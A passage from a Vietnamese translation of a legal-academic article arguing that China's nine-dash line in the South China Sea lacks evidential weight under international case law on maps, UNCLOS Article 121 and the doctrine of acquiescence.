Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div>
<div>
</div>
<div>
Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div>
<div>
</div>
<div>
Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div>
<div>
</div>
<div>
Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div>
<div>
</div>
<div>
Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div>
<div>
</div>
<div>
2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div>
<div>
</div>
<div>
Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div>
<div>
</div>
<div>
Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div>
<div>
</div>
<div>
Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div>
<div>
</div>
<div>
Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div>
<div>
</div>
<div>
Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div>
<div>
</div>
<div>
Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div>
<div>
</div>
<div>
Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div>
<div>
</div>
<div>
1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div>
<div>
</div>
<div>
2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div>
<div>
</div>
<div>
3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div>
<div>
</div>
<div>
Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div>
<div>
</div>
<div>
Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div>
<div>
</div>
<div>
Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div>
<div>
</div>
<div>
III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div>
<div>
</div>
<div>
Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div>
<div>
</div>
<div>
Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div>
<div>
</div>
<div>
A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div>
<div>
</div>
<div>
Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div>
<div>
</div>
<div>
Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div>
<div>
</div>
<div>
Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div>
<div>
</div>
<div>
B. Các bản đồ không tương thích nhau</div>
<div>
</div>
<div>
Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div>
<div>
</div>
<div>
“dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div>
<div>
</div>
<div>
Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div>
<div>
</div>
<div>
C. Ký hiệu bản đồ rời rạc / nhập nhằng</div>
<div>
</div>
<div>
Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div>
<div>
</div>
<div>
Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div>
<div>
</div>
<div>
Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div>
<div>
</div>
<div>
D. Ý định không rõ ràng</div>
<div>
</div>
<div>
Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div>
<div>
</div>
<div>
Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div>
<div>
</div>
<div>
E. Thiếu tính trung lập</div>
<div>
</div>
<div>
Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div>
<div>
</div>
<div>
Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div>
<div>
</div>
<div>
Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div>
<div>
</div>
<div>
Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div>
<div>
</div>
<div>
F. Không chính xác về kỹ thuật</div>
<div>
</div>
<div>
Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div>
<div>
</div>
<div>
ICJ phát biểu rằng:</div>
<div>
</div>
<div>
Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div>
<div>
</div>
<div>
Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div>
<div>
</div>
<div>
Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div>
<div>
</div>
<div>
Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div>
<div>
</div>
<div>
Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div>
<div>
</div>
<div>
Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div>
<div>
</div>
<div>
IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div>
<div>
</div>
<div>
A. Tiêu chuẩn áp dụng</div>
<div>
</div>
<div>
Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div>
<div>
</div>
<div>
tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div>
<div>
</div>
<div>
Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div>
<div>
</div>
<div>
Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div>
<div>
</div>
<div>
Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div>
<div>
</div>
<div>
Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div>
<div>
</div>
<div>
Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div>
<div>
</div>
<div>
Strupp cũng nhận xét rằng:</div>
<div>
</div>
<div>
Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div>
<div>
</div>
<div>
Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div>
<div>
</div>
<div>
Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div>
<div>
</div>
<div>
B. Phản đối / Thiếu sự mặc nhận</div>
<div>
</div>
<div>
Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div>
<div>
</div>
<div>
Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div>
<div>
</div>
<div>
Triệu Quốc Khải (Zhao Guocai) cho rằng:</div>
<div>
</div>
<div>
“Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div>
<div>
</div>
<div>
Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div>
<div>
</div>
<div>
1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div>
<div>
</div>
<div>
2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div>
<div>
</div>
<div>
